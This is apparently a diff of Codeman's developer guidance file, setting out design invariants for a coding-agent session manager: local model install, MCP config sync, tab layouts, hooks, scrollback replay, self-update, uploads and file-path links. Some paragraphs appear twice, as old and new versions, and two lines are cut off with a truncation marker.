**Local model install** (`POST /api/local-model/install|cancel|resume|runtime`, `DELETE /api/local-model`; `src/local-model/{install-job,runtime,ollama-client,connect,state-store,paths,developer-tools}.ts`; EXPERIMENTAL, admin only in multi-user mode on EVERY verb; guide `docs/local-models.md`): installs the chosen model on the Mac the server runs on and ends on a session of the coding agent running on it. ONE job of five idempotent steps (`runtime`, `model`, `verify`, `agent`, `connect`; `agent` only when the coding agent is missing), a pure reducer (`reduceInstallJob()`) over three tables in `install-job.ts` driven by one service per process (`getLocalModelService()`); the window polls the GET once a second, no SSE event. ⚠️ Layout only through `localModelPaths()` (all `dataPath()`): `local-model/runtime/ollama-<version>/`, `local-model/models/`, `local-model/home/` (the runtime's PRIVATE HOME, so the user's `~/.ollama` is never touched) and the state file `local-model.json` (0600, ONE serialized writer, total reader, holds NO path); nothing is written or deleted outside `local-model/` except that file and the two writes of the connect step. ⚠️ The runtime pin (`OLLAMA_RUNTIME_PIN`: version, URL, size, sha256) is a COMPILED constant no file, setting or request may supply; the hash is compared BEFORE anything is unpacked. ⚠️ The runtime is a NON-detached child whose environment comes from the `runtimeEnv()` ALLOWLIST, never `process.env` (no `CODEMAN_*`, none of the user's `OLLAMA_*`); the port is chosen ONCE by binding (from 11435, never 11434) and stored; a listener on it is adopted or replaced only when its stored pid runs a binary under OUR runtime folder, anything else is `port-in-use`; started at boot when installed and enabled, max 3 restarts, SIGTERM at shutdown beside `stopDeepSeekWeb()`; under vitest nothing spawns or fetches. ⚠️ Consent is bound to the size: `acknowledgedBytes` must equal the server's own total (`Candidate.installBytes`) or the answer is 409 `size-changed`; the model, context and CLI must be a row the current recommendation offers (400). ⚠️ ONE job at a time (409 `job-running`); a job a restart interrupted comes back `paused` and NEVER continues without a click (so `shutdown()` writes nothing), and an interrupted step is never recorded as failed. ⚠️ An event the transition table does not list is refused (same object back, 409 `wrong-state`): add a row to the table, never a special case. ⚠️ The budget is MEASURED from the runtime's "inference compute" log line and the model judged against it BEFORE it is downloaded. ⚠️ The pull stream is parsed incrementally (about 1.4 million lines for 23 GB): never buffer it, never write state per line. ⚠️ A failure is a code with ONE next step (`LOCAL_MODEL_ERROR_NEXT`), never a bare "failed"; a probe that ended on its token limit is `probe-unfinished`, not `no-tool-call`. ⚠️ The coding agent is installed through the shared runner `src/cli-install-runner.ts` (extracted from `cli-registry-routes.ts`, ONE install slot per CLI for both callers) with `stockInstallCommand()`, the COMPILED stock command, never the `clis.json`-merged one (this path has no `cliManagementEnabled` gate); only for a catalogue harness row, after the consent click that showed the literal command, audited (`cli_install`, `via: 'local-model'`); afterwards `forgetResolvedCli()` and a fresh lookup, and still missing is `harness-failed`. ⚠️ Connect writes ONE endpoint record under the RESERVED id `local-ollama` through `mutateCustomModelHosts()` and `customModelEndpointsEnabled: true` through `mutateSettingsFile()`, remembering the flag's first value; a record with that id that is not ours is never overwritten, and while it is ours it is MANAGED: the endpoint routes refuse to edit or delete it and the discovery sweep skips it (the runtime's port has no login, so its `models` must stay the one model that was checked). ⚠️ The model digest is stored and read again at boot and before every START of a coding agent on that endpoint (`launchRefusalMessage()`): the two custom-model launch routes in `session-routes.ts` ask it before anything is written, the reboot-restore rebuild asks it before it builds (reason `local-model-not-ready`, left on offer), and `Session`'s launch guard (`setLaunchGuard()`, set in `setupSessionListeners()`) asks it right before a NEW agent process starts (a fresh pane, the respawn of a dead one, `restartCli()`), never for an attach to an agent that runs; a refusal is a `LaunchRefusedError` that never falls back to a direct PTY. A changed or missing model, a runtime Codeman did not start or that did not start, or another model id refuses the launch with one sentence. ⚠️ The connection is CLAIMED in the state file (`connection`, with the flag's value read by `inspectLocalEndpoint()`) BEFORE the endpoint record and the settings flag are written, so a state write that fails or a kill between the two never leaveLine truncated
**MCP server sync** (opt-in, `mcpSyncEnabled`, SYNCED, default OFF; `src/mcp-sync.ts`, `GET`/`POST /api/mcp-sync`): copies each installed, enabled CLI's user-level MCP servers into the others. It is the ONE subsystem that writes another CLI's REAL user config (`~/.claude.json`, `~/.codex/config.toml`, `~/.gemini/*`, opencode's), which is why it is opt-in and admin-only in multi-user mode (both verbs 403 for a non-admin, and the Settings group is hidden for them). Where each CLI keeps the file is registry data, `capabilities.mcpConfig` (`{ path, format, relocation? }`), never a branch on the id. ⚠️ Tools that sync but are not run modes (GitHub Copilot CLI, the first) are plain data in `MCP_SYNC_ONLY_TOOLS` (`src/mcp-sync-targets.ts`), take part only when installed or already configured, and their companion `settings.json` (`disabledMcpServers`) is read, never written; a test must clear their relocation vars too. ⚠️ ADDITIVE only: a name already defined, in any shape, is never edited or removed (a different same-name definition is a reported conflict), and a server switched off in its own CLI is never copied. ⚠️ Never write a file that did not parse; re-parse the NEW text and require every added server to read back before the tmp+rename (written through a symlink, previous file kept as `<file>.codeman-bak`, one apply at a time, else 409). ⚠️ A file that receives copied `env`/`headers` (secrets) is left `0600`, and so is the backup. ⚠️ Responses carry server NAMES only, never env values, headers or file text: a parse failure is reported by line and column (`describeMcpSyncError`), never the parser's own message (smol-toml and V8 both quote source). ⚠️ `mcpConfig.relocation` names the env var the CLI reads to move its file (`CLAUDE_CONFIG_DIR`, `CODEX_HOME`, `XDG_CONFIG_HOME`, `GEMINI_CLI_HOME`, and `COPILOT_HOME` for Copilot), resolved from the SERVER env at call time; a relative value reports the target `skipped`, never a guessed write, and a per-session `envOverrides` relocation is not followed. Tests must pass `home` (which drops the `process.env` default) or clear those vars first. → `docs/cli-registry.md` (MCP server sync), `docs/api-reference.md`, `docs/wiki/Settings-Reference.md`
**Auto-named sessions** (`autoNameSessions`, SYNCED, default OFF): a placeholder tab (`w3-myapp`) takes its first real prompt as a title in the `<prefix>: <title>` form, so the case identity and `w<n>` counter survive. Ownership is `SessionState.nameSource` (`placeholder` | `auto` | `manual`; the `name` setter / `PUT /api/sessions/:id/name` makes it `manual`, never touched again). ⚠️ `applyAutoName()` flips to `auto` even if the string is unchanged, so only the FIRST titled prompt names the tab. ⚠️ Only user input counts: `SessionWriteOptions.fromUser` is set by the browser WS path, `POST /api/sessions/:id/input`, the experimental guarded stage (`stageGuardedInput()`, `POST /api/sessions/:id/stage`, typed on an agent's behalf like the input route) and a Discord reply (`DiscordBridge.onGatewayMessage`, through the bridge's `sendInput`) ONLY; any new user-input path must set it (and the send-key Shift+Enter path must call `trackUserInput()`). ⚠️ The pure tracker (`session-auto-name.ts`) sits on the raw keystroke stream with an explicit rule per key; add a rule for any new key class. ⚠️ `nameSource` also decides `--name`: by default only a `manual` name is pinned on the claude CLI (`Session.cliPinnedName`), since `--name` is also the `/resume` title and a pinned one stops Claude generating its own; the opt-in synced `pinCliSessionName` (default OFF, re-read at every spawn and respawn) pins every tab name, after which a Codeman rename holds only until the next turn; a rename appends a `custom-title` row to a LOCAL, non-docker transcript, and a same-name PUT is a no-op (never flips to `manual`). Tests: `test/session-auto-name.test.ts`. → [architecture-invariants#auto-named-sessions-first-prompt--tab-title](docs/architecture-invariants.md#auto-named-sessions-first-prompt--tab-title)
@@ -199,7 +206,7 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Owner tab layouts** (`tab-layout*.ts` + `GET`/`PUT /api/tab-layout`): named tab GROUPS over the flat strip, scoped per owner (`@single` when multi-user is off), persisted as `tabLayouts` in state.json. The frontend reads AND edits it (`tab-layout-browser.js` + the grouped-rail block in app.js): the vertical rail draws the owner's groups as collapsible sections (collapse is per-device localStorage), and with no groups or a failed read the rail is the flat list. Groups are created, renamed, reordered and deleted, and rows moved between them, from the row/group menus (Shift+F10 on a header too) and by pointer drag in the grouped rail. A ref may carry `focus: true` ("Add to Focus" in the row/web-tab menu, the named `setFocus` operation): the rail then draws a SHORTCUT to it in a pinned, collapsible Focus section (`_renderTabFocus()`), its own element in `#tabRail` ABOVE `#sessionTabs`, so it shows on the flat rail too and is never a row, tree item, Alt+N slot, lineage anchor or drag target. ⚠️ Every copy of a ref (`copyRef` in tab-layout-browser.js, `parseRef`/`mapRef` in tab-layout.ts) must carry `focus` like `placement`: the browser PUTs whole layouts, so a dropped field is erased on the next save by whoever saves. ⚠️ Grouping is a render layer only: `sessionOrder`, Alt+N and every other order consumer still read the server-projected session order (Alt+[ / Alt+] and Ctrl+Tab included), except the phone swipe, which walks the drawn order like the strip's arrow keys (`nextSession({ visual: true })` through `_stripSessionOrder()`), and a grouped row's markup is the flat row's markup. ⚠️ Only the GROUPED rail is an ARIA tree (`role=tree`, headers owning `role=group`s, one roving `tabindex=0`); the strip, sidebar and flat rail stay `tablist`/`tab`. ⚠️ Every browser write is a named operation through ONE serialized `PUT /api/tab-layout` at a time (`createEditCoordinator`): a 409 replays the operations onto the server's layout and retries (bounded), and an SSE reload is deferred while a write is in flight. Never PUT the layout from anywhere else in the frontend (the `pagehide` keepalive in `_persistPendingTabLayoutEdits` is the one deliberate exception). ⚠️ Placing a NEW session in a group rides its create request (`tabGroupId` on `POST /api/sessions` / `/api/quick-start`) into `TabLayoutService.sessionCreated()`, which registers the session inside the owner lock and places it in the same write; never place a created session with a follow-up PUT. A spawned child lands after its parent; whether it keeps FOLLOWING it until moved by hand is the synced `spawnedTabsFollowParent` setting (default OFF: pinned `manual` in the creating write), read fresh in `sessionCreated()`. A case's **default session group** (Case settings; `caseDefaultGroups` in state.json, per owner and case) is the fallback placement in that same write, below `tabGroupId` and the parent, from the create request's `caseName` (quick-start, Ralph start, or inferred lexically from a `POST /api/sessions` `workingDir`); it is read and written ONLY through `TabLayoutService`. ⚠️ A legacy order PUT marks a child `manual` ONLY when the requested order splits it from its parent's block (`applyLegacySessionRank`), and the browser never echoes create/delete through `PUT /api/session-order`: the server already re-projected and broadcast it. Web-tab OPENNESS stays per device. ⚠️ `TabLayoutService` is the single mutation boundary (one completed server action = at most one versioned write); never write layout state from a route or manager directly. ⚠️ The layout PROJECTS onto `PUT /api/session-order` via `tab-layout-legacy-order.ts`; change both sides together. ⚠️ Reconciliation is gated on a SUCCESSFUL restore (`markRestorationComplete`/`assertDeletionReady()`): a failed restore must leave the layout untouched or live tabs get pruned. → [architecture-invariants#owner-tab-layouts](docs/architecture-invariants.md#owner-tab-layouts)
**Hook events**: Claude Code hooks trigger via `/api/hook-event` (`permission_prompt`, `elicitation_dialog`, `elicitation_complete`, `elicitation_response`, `idle_prompt`, `stop`, `teammate_idle`, `task_completed`, `prompt_submitted`); see `src/hooks-config.ts` and `docs/claude-code-hooks-reference.md`. ⚠️ Every claude session installs the hooks block into its workspace (add-only merge) from every create path and from `restoreMuxSessions()`, gated by `workspaceHooksEnabled` (SYNCED, default ON). ⚠️ Route that decision through `applyWorkspaceHooks`, never call `ensureCodemanHooks` at a new site, or the setting silently stops applying. ⚠️ An AskUserQuestion / plan-selection dialog arrives as `permission_prompt` (RED alert), not `elicitation_dialog` (MCP elicitation). → [architecture-invariants#hook-events-and-workspace-hook-installation](docs/architecture-invariants.md#hook-events-and-workspace-hook-installation)
**Hook events**: Claude Code hooks trigger via `/api/hook-event` (`permission_prompt`, `elicitation_dialog`, `elicitation_complete`, `elicitation_response`, `idle_prompt`, `stop`, `teammate_idle`, `task_completed`, `prompt_submitted`); see `src/hooks-config.ts` and `docs/claude-code-hooks-reference.md`. ⚠️ Every claude session Codeman starts installs the hooks block into its workspace (add-only merge) from every create path and from `restoreMuxSessions()` (an adopted session installs none: it has no workspace of ours), gated by `workspaceHooksEnabled` (SYNCED, default ON). ⚠️ Route that decision through `applyWorkspaceHooks`, never call `ensureCodemanHooks` at a new site, or the setting silently stops applying. ⚠️ An AskUserQuestion / plan-selection dialog arrives as `permission_prompt` (RED alert), not `elicitation_dialog` (MCP elicitation). → [architecture-invariants#hook-events-and-workspace-hook-installation](docs/architecture-invariants.md#hook-events-and-workspace-hook-installation)
**Reboot restore** (`src/reboot-restore.ts` pure + `web/reboot-restore-registry.ts` + `routes/reboot-restore-routes.ts` + `reboot-restore-ui.js`): after a host reboot kills every pane, Codeman holds an IN-MEMORY plan of the destroyed sessions and a banner offers to rebuild them. ⚠️ The heuristic only decides whether to ASK. ⚠️ Rebuild is TAKE-then-build (entries leave the plan before the first `await`, single-flighted per owner). ⚠️ Re-check grant, workspace and already-live at click time, reading already-live FRESH per entry; key confinement on the entry's OWNER, never the caller. ⚠️ Rebuilt sessions come back disarmed: no respawn/Ralph, `rearmAutoResumeSchedule: false`, and pass `nameSource` through. ⚠️ Undo a failed rebuild with `discardPartiallyBuiltSession()`, NEVER `cleanupSession()`. Claude-mode only, never remote/docker. Tests: `test/reboot-restore.test.ts`. → [architecture-invariants#reboot-restore](docs/architecture-invariants.md#reboot-restore)
@@ -217,10 +224,10 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Full-scrollback replay**: `GET /api/sessions/:id/terminal?full=1` returns the whole tmux scrollback ALONE (`source='mux-full-history'`), superseding the byte buffer. First load of each non-shell TUI session requests it (`_fullHistoryLoaded`); Shell selection, drop recovery, clear and a tile's load use `SHELL_LOAD_QUERY` (constants.js), a bounded window of tmux's RENDERED history (`?full=1&tail=1MiB&alt=recording&lines=10000`), never the raw byte recording, whose full-screen repaints replayed at another pane height push copies of their top row into scrollback; the route reports a client `lines=` bound below the history ceiling that left lines in tmux as `truncationReason: 'tail'`, and `alt=recording` falls back to the visible frame over the tailed byte recording when the pane is in the alternate screen (a nested tmux in a remote or Docker case keeps no tmux history; vim/less take it too while open). A Shell scroll-to-top pulls a bounded `?full=1&tail=` window (a window no longer than the browser's buffer is skipped before the downgrade guard, so it never marks the session exhausted); the unbounded pull stays behind **Load full history**. A Shell split-pane Pane B has its own copy of the bounded pull against its own xterm (`TerminalTile._pullHistory`, terminal-tile.js); keep the two in step. → [architecture-invariants#split-pane-sessions](docs/architecture-invariants.md#split-pane-sessions) ⚠️ The capture ends with a RELATIVE cursor move back to the pane's caret (never `CUP`), so no line-deleting transform may run over it; those skips key on `isFullCapture`, never on `?full=1` alone. ⚠️ A re-pull must never shrink the buffer (`_replayWouldShrinkBuffer()`). ⚠️ `captureCols`/`captureRows` are absent when no frame was positioned: test `Number.isFinite`, never truthiness. ⚠️ A frame dropped at the 128 KiB render cap MUST be recovered, and the recovery verifies itself: `_scheduleDroppedOutputRecovery` re-arms (bounded by `DROP_RECOVERY_MAX_ATTEMPTS`) while `_onSessionNeedsRefresh` reports no repaint, but never after a capture-fetch `'deadline'`. → [architecture-invariants#full-scrollback-replay](docs/architecture-invariants.md#full-scrollback-replay)
**Terminal scrollback strip + wheel/touch forwarding**: codex/claude/gemini get the FULL strip (alt-screen, `3J`, mouse DECSETs); tmux-backed opencode and copilot get the MIDDLE strip (alt-screen toggles + mouse DECSETs, `3J` kept); every other tmux-backed mode (shell/antigravity/pi/grok/deepseek/omp) gets the NARROW strip (alt-screen toggles only). Table: `CliCapabilities.altScreen` JSDoc, pinned in test/claude-scrollback-strip.test.ts. ⚠️ Gated on `useMux`: direct-PTY sessions must keep the alt screen. Wheel and touch forward only with observed `cliMouseTracking`: **Claude ≥ 2.1.187, tracked Codex, or tracked Copilot**. Codex 0.163.0 fullscreen was measured with `alternate_on=1`, `mouse_any_flag=1`: one SGR report moves one transcript row; see the fresh measurement in architecture-invariants. Inline/untracked Codex retains local history or the capability-gated paging fallback. Copilot has no version gate; a stale/false tracking flag falls back to PageUp/PageDown. Touch alone has one more branch (`_shouldForwardTouchToApp`): in any mode, a drag also forwards as SGR wheel reports while xterm ITSELF tracks the mouse with SGR encoding (an app in the pane asked for it; a tracking mode other than `x10` and `coreMouseService.activeEncoding === 'SGR'`, so DEFAULT, X10 and SGR-pixel apps fail closed), because xterm encodes a wheel there but the touch listeners consume the drag. ⚠️ `getClaudeCliVersion()` must never cache a FAILED probe. ⚠️ Hand-report clicks only while the CLI has mouse tracking on: `_shouldReportMouseToCli()` gates all three report sites on `cliMouseTracking` (from `_recordStrippedMouseMode()`, session.ts), or a plain shell prints the reports as literal text. ⚠️ A `TerminalTile` (grid tile, split Pane B) forwards the wheel as SGR reports, pages it and reports clicks through these SAME gates with itself as the target (its terminal, its session, never `activeSessionId`), and scrolls Shift+wheel itself (xterm makes it a horizontal no-op); never copy the mode lists into terminal-tile.js. ⚠️ The hollow-buffer PageUp/PageDown fallback (`_maybePageCliTranscript`) stands down when the last capture reported tmux scrollback (`paneHistoryLines` > 0: a tail replayed after a server restart carries only the attach repaint), so the gesture scrolls locally and the scroll-to-top pull loads `full=1`; 0 and unknown keep paging. Read `_logScrollRouting()` before diagnosing a scroll report. → [architecture-invariants#terminal-scrollback-strip-flavors-and-wheeltouch-forwarding](docs/architecture-invariants.md#terminal-scrollback-strip-flavors-and-wheeltouch-forwarding)
**Terminal scrollback strip + wheel/touch forwarding**: codex/claude/gemini get the FULL strip (alt-screen, `3J`, mouse DECSETs); tmux-backed opencode, copilot and pi get the MIDDLE strip (alt-screen toggles + mouse DECSETs, `3J` kept); every other tmux-backed mode (shell/antigravity/grok/deepseek/omp) gets the NARROW strip (alt-screen toggles only). Table: `CliCapabilities.altScreen` JSDoc, pinned in test/claude-scrollback-strip.test.ts. ⚠️ Gated on `useMux`: direct-PTY sessions must keep the alt screen. Wheel and touch forward only with observed `cliMouseTracking`: **Claude ≥ 2.1.187, tracked Codex, tracked Copilot, or tracked Pi**. Codex 0.163.0 fullscreen was measured with `alternate_on=1`, `mouse_any_flag=1`: one SGR report moves one transcript row; see the fresh measurement in architecture-invariants. Inline/untracked Codex retains local history or the capability-gated paging fallback. Copilot has no version gate; a stale/false tracking flag falls back to PageUp/PageDown. Pi has no version gate either, and is fullscreen by default since 1.0.0: it enables tracking once at start, so the flag is what survives a tab switch or reload (xterm's own mode does not). ⚠️ Pi deliberately has no `transcriptPageKeys`: its `tuiMode: regular` binds those keys to the editor, so paging there moves a draft's caret. Touch alone has one more branch (`_shouldForwardTouchToApp`): in any mode, a drag also forwards as SGR wheel reports while xterm ITSELF tracks the mouse with SGR encoding (an app in the pane asked for it; a tracking mode other than `x10` and `coreMouseService.activeEncoding === 'SGR'`, so DEFAULT, X10 and SGR-pixel apps fail closed), because xterm encodes a wheel there but the touch listeners consume the drag. ⚠️ `getClaudeCliVersion()` must never cache a FAILED probe. ⚠️ Hand-report clicks only while the CLI has mouse tracking on: `_shouldReportMouseToCli()` gates all three report sites on `cliMouseTracking` (from `_recordStrippedMouseMode()`, session.ts), or a plain shell prints the reports as literal text. ⚠️ A `TerminalTile` (grid tile, split Pane B) forwards the wheel as SGR reports, pages it and reports clicks through these SAME gates with itself as the target (its terminal, its session, never `activeSessionId`), and scrolls Shift+wheel itself (xterm makes it a horizontal no-op); never copy the mode lists into terminal-tile.js. ⚠️ The hollow-buffer PageUp/PageDown fallback (`_maybePageCliTranscript`) stands down when the last capture reported tmux scrollback (`paneHistoryLines` > 0: a tail replayed after a server restart carries only the attach repaint), so the gesture scrolls locally and the scroll-to-top pull loads `full=1`; 0 and unknown keep paging. Read `_logScrollRouting()` before diagnosing a scroll report. → [architecture-invariants#terminal-scrollback-strip-flavors-and-wheeltouch-forwarding](docs/architecture-invariants.md#terminal-scrollback-strip-flavors-and-wheeltouch-forwarding)
**Detached start + service install**: `codeman web -d` relaunches the same entry script `detached:true` (setsid); `nohup` is not what makes it survive. ⚠️ Both `-d` and `service install` must REFUSE when a server is already up on this data dir (pidfile + `/api/status` probe), or a second instance attaches to the first one's live sessions. ⚠️ Never report success not observed: poll `/api/status` until the child answers or dies. `--stop` must verify the pid still looks like Codeman (`ps -o command=`) before signalling. Unit/label names live only in `config/service-names.ts`. `service install` bakes the installing shell's PATH into the unit and never writes `CODEMAN_PASSWORD` into it. → [architecture-invariants#detached-start-and-service-install](docs/architecture-invariants.md#detached-start-and-service-install)
**Self-update** (App Settings → System → Updates): in-app updater for git-clone installs under a supervisor (`systemd`, `launchd`, `launchd-daemon`, `docker-compose`, else `none`). The work runs in a DETACHED `scripts/self-update.sh` writing `update-status.json`, polled across the restart; pure helpers in `src/web/self-update.ts`. ⚠️ Compose: the restart kills the script, so nothing may be appended after the `restarting` marker; the repo must stay a host bind mount over `/opt/codeman` and the image must keep devDependencies + toolchain. ⚠️ `evaluateEnvironmentGate()` refuses releases that change `server.Dockerfile`/`docker-compose.yaml` or add `.env.example` keys, re-evaluated on `POST /api/system/update`; unknowns fail OPEN, but the exit-to-restart needs `--restart-by-exit 1` (`CODEMAN_RESTART_BY_EXIT=1` only in the Compose file). ⚠️ Keep the agent CLIs in `server.Dockerfile` pinned. → [docs/docker-self-update.md](docs/docker-self-update.md), [architecture-invariants#self-update](docs/architecture-invariants.md#self-update)
**Self-update** (App Settings → System → Updates): in-app updater for git-clone installs under a supervisor (`systemd`, `launchd`, `launchd-daemon`, `docker-compose`, else `none`). The work runs in a DETACHED `scripts/self-update.sh` writing `update-status.json`, polled across the restart; pure helpers in `src/web/self-update.ts`. ⚠️ Compose: the restart kills the script, so nothing may be appended after the `restarting` marker; the repo must stay a host bind mount over `/opt/codeman` and the image must keep devDependencies + toolchain. ⚠️ `evaluateEnvironmentGate()` refuses releases that change `server.Dockerfile`/`docker-compose.yaml` or add `.env.example` keys, re-evaluated on `POST /api/system/update`; unknowns fail OPEN, but the exit-to-restart needs `--restart-by-exit 1` (`CODEMAN_RESTART_BY_EXIT=1` only in the Compose file). ⚠️ An install with no git checkout (`install.sh` on a machine without a working git leaves the marker `.install-source`) is kind `archive`: it cannot update in place, and both the check and the UI tell it to re-run the installer, never the npm line. ⚠️ Keep the agent CLIs in `server.Dockerfile` pinned. → [docs/docker-self-update.md](docs/docker-self-update.md), [architecture-invariants#self-update](docs/architecture-invariants.md#self-update)
**Reverse-proxy base path** (`--base-url` / `CODEMAN_BASE_URL`, default `/`; pure single source `src/config/base-path.ts`, normalized to `''` or `/foo`): mounts Codeman under a sub-path behind a proxy that forwards the prefix unchanged. Few choke points: `stripBasePath()` in Fastify's `rewriteUrl` (routes stay prefix-agnostic; unprefixed requests still answer), one `onSend` hook rebasing `Location`, `renderIndexHtml` rewriting `<base href>` + injecting `window.__CODEMAN_BASE__`, and `CodemanBase.url()` (constants.js) for runtime URLs. ⚠️ Keep template asset refs RELATIVE, and route every root-absolute frontend URL (EventSource/WebSocket/`window.open`/src) through `CodemanBase.url()`. ⚠️ Web-tab proxy egress goes through `proxyPrefixFor(cap, basePath)`; ingress parsers stay base-agnostic. ⚠️ `--base-url` must ride `buildWebArgs` and `resolveServicePlan`. Tests: `test/base-path.test.ts`. → [architecture-invariants#reverse-proxy-base-path](docs/architecture-invariants.md#reverse-proxy-base-path)
@@ -228,27 +235,29 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Prompt uploads** (`POST /api/sessions/:id/paste-image`: clipboard paste, drop, the Compose Attach key and the phone toolbar's Attach button; client wiring in `image-input.js` and `keyboard-accessory.js`): a pick is written to `<workspace>/.codeman-uploads/` and its path lands on the prompt as unsent text. The folder is IN the workspace because that is the only path identical for a local and a container agent, FLAT because `<workspace>/.codeman/` would BE the data dir when the workspace is the home directory, and self-ignoring through a `.gitignore` of `*` written ONCE with `wx` (a file already there is the user's and is never overwritten; the user's own ignore file is never touched). ⚠️ The directory names live ONLY in `paste-image-gc.ts` (`UPLOAD_DIR_NAMES`): the pre-move `.claude-images/` receives nothing but stays readable for one release, so the GC sweep and the delete cleanup (through `uploadDirs()`) and the image watcher's ignore filter (reading the names) cover BOTH; retire the legacy entry there, never by hand elsewhere. ⚠️ `uploadDirs()` is async and probes the workspace BOUNDED first (`probePathKind()`, the #516 rule: an `unknown` path is skipped, never touched; the sweep keeps the stall cap and the delete passes `pastCap`), then returns only REAL directories (lstat, so a planted symlink is never one), none that is or contains `getDataDir()` (one strictly inside it only holds uploads and is listed), and none for a remote session, since both consumers delete; the check is made at list time, and the same-user race after it is accepted. Images are buffered in memory under `MAX_PASTE_IMAGE_BYTES` (50MB) after a client-side canvas re-encode; a DOCUMENT (pdf, docx, pptx, xlsx, zip and the text family txt/md/csv/tsv/json/log/yaml/yml/xml; the curated `ALLOWED_DOCUMENT_EXTS`, never `SUPPORTED_ATTACHMENT_EXTENSIONS` or `EDITABLE_EXTENSIONS`, which carry sh/py/js/html) is admitted by its name's extension alone, buffered like an image, judged on its bytes by the same fail-closed `imageMagicMatchesExt` (`%PDF-`, `PK\x03\x04` for the OOXML trio and zip, UTF-8 without a NUL byte for text: a SIGNATURE or ENCODING check, never a structure or content check, so generic zip bytes pass as `.docx` and a script renamed `.txt` is text; the sh/py/js/html exclusion is a SCOPE choice by extension, keeping the server from storing what it would serve or run, not a content filter: the agent can already write any of those) and saved as `paste-<ts>-<hex>-<stem><ext>` with a sanitized stem (`[A-Za-z0-9._-]`, 40 chars, a wholly non-ASCII name leaves no stem; the `paste-` prefix is what the GC matches). A VIDEO is never buffered: `?kind=video` streams it to disk under `MAX_PASTE_VIDEO_BYTES` (1GB, env `CODEMAN_MAX_PASTE_VIDEO_BYTES`), judges the container on the first 12 bytes as they arrive (ISO BMFF / QuickTime atom, EBML for webm, Ogg for ogv; a mislabeled body is drained unwritten from there, never parked on disk first) and unlinks on any failure, a dead transfer included. ⚠️ The flag is the ONLY way onto that path and admits video types alone (the registry's `VIDEO_ATTACHMENT_EXTENSIONS`, single-sourced: mp4/webm/mov/m4v/ogv, so an uploaded video is one the file viewer can also play; 3gp/mkv are out, since a phone's camera roll produces neither and neither previews), so an image can never ride the larger cap through memory; without it the route is byte-identical to the image-only version. Busboy takes its size limit before the part is seen, which is why the choice rides the URL and not the file. ⚠️ A video draws on its OWN per-(IP, session) rate bucket (`consumeVideoToken`, 3/min) beside the image bucket (`consumePasteToken`, 30/min): at 1GB each, 30/min would be 30GB of disk a minute, so the lower rate bounds it to 3GB; the image path keeps the 30/min bucket and is unchanged without the flag. A remote (SSH) session is refused (400) before any disk touch: its `workingDir` is the remote path, so the file would land on THIS host where the agent cannot read it (Docker is fine, the workspace is bind-mounted at the same absolute path). ⚠️ A live session's workspace can still sit on a network mount that stopped answering, so the route probes it BOUNDED (`probePathKind(session.workingDir, { pastCap: true })`, the #516 rule) before the first disk touch and refuses an `unknown` mount through `describeUnknownPath()` (OPERATION_FAILED), the way session create does, so a mount already unreachable cannot freeze a libuv worker on every upload (a mount that dies after the probe is the same residual race create accepts). ⚠️ Dispatch mirrors the client: an `image/*` MIME takes the IMAGE path whatever the name says (a GIF named `animation.txt` stays a GIF), a document extension takes the document branch, and anything else takes the image path exactly as before, where the HEIC sniff still recovers a HEIC under a generic name; a foreign extension with no image MIME gets its `Unsupported file type` 400 only AFTER that sLine truncated
**File-path links (terminal + chat)**: a path an agent prints is clickable on BOTH surfaces and opens the file-preview overlay. ⚠️ ONE pattern (`FILE_PATH_LINK_PATTERN` / `absoluteFilePathPattern()` in constants.js) feeds the xterm link provider AND `_linkifyFilePaths()`, a fresh instance per call (`lastIndex`). Both call `findFilePathLinks()`, which reserves spaced-path spans first (an unlinkable one only while its last word holds a `/`; any label, before an absolute or relative path, must be an explicit path label, prose after that label stays out, and an earlier connective or verb such as `and` or `has` (`SPACED_PATH_PROSE_WORD`) makes any candidate prose; rules and trade-offs in the architecture-invariants paragraph linked below), then adds rooted, `~/`, relative and folder paths without overlapping a reservation, earlier match or URL; a relative path resolves against the pane's live directory `SessionState.paneCwd` when known, else `workingDir` (`relativeResolutionBase()` + `resolveLinkedFilePath`; `paneCwd` is only a BASE, never a confinement root: routing and the file routes still judge against `workingDir`, and remote/docker/direct-PTY/rediscovered sessions never get one, scoped by `paneExitApplies`), `~/` only server-side on the session's host (attachment route), and `terminalPathLine()` joins a path a program hard-wrapped short of the edge. ⚠️ A folder link opens the **folder grid**: `POST /api/sessions/:id/folders` guards + GRANTS the folder (`folder-listing.ts`, own registry, never the 200-capped attachment registry), files come by bare name via `…/folders/:folderId/files/:name/*` through `resolveServableAttachmentPath` plus the same extension/regular-file gate on the symlink's resolved target, so no browser request carries a path; `~/` is refused in a Docker case (the container's home is not this host's). The chat linkifier walks TEXT NODES with DOM APIs, never rebuilds sanitized markup as a string. ⚠️ An out-of-workspace path goes through the ATTACHMENT routes (`POST /api/sessions/:id/attachments` with `notify: false`), never by widening `file-content`/`file-raw` or `file-stream-manager`'s `tail -f` allowlist. An ambiguous parenthesised hard wrap is checked only on activation, original first: only a 404 permits a spaced-path lookup, and only a registered alternative is opened; every other original result uses the normal opener, never an attachment-policy gate on workspace files, and hover performs no lookup. ⚠️ `TEXT_ATTACHMENT_EXTENSIONS` IS `EDITABLE_EXTENSIONS` (never a second list), and widening READ must never widen RUN: `html`/`htm`/`svg` stay download-only, other text is inert `text/plain`+`nosniff`. ⚠️ The ONE place HTML renders is `/html-view/<cap>/...` (`html-view-routes.ts`, `html-view-capabilities.ts`): `POST /api/sessions/:id/html-view` mints a capability for the file's own directory, every response carries `Content-Security-Policy: sandbox` WITHOUT `allow-same-origin` (opaque origin even as a top-level tab, so the page can never read Codeman or drive its API) and with NO fetch directive (open network, owner decision 2026-10-13: never restrict it or add `allow-same-origin` without the owner), and only non-dot, asset-allowlisted files under that directory are served (GET/HEAD only; capabilities revoked with the web-tab ones on logout). That tree is served recursively, so minting is refused for a hidden directory or a broad root (`isBroadHtmlViewRoot`); the preview renders by default and the **Page** pill (or a refused mint) falls through to the source view and its Edit button. Never serve HTML same-origin anywhere else. Tests: `test/routes/html-view-routes.test.ts`. Media extensions are single-sourced in `attachment-registry.ts`. ⚠️ **XLSX previews parse in the BROWSER**, never on the server; the admission limits that keep a hostile workbook from freezing the worker live in `src/web/CLAUDE.md` (Spreadsheet preview). → [architecture-invariants#file-path-links-terminal--response-viewer](docs/architecture-invariants.md#file-path-links-terminal--response-viewer)
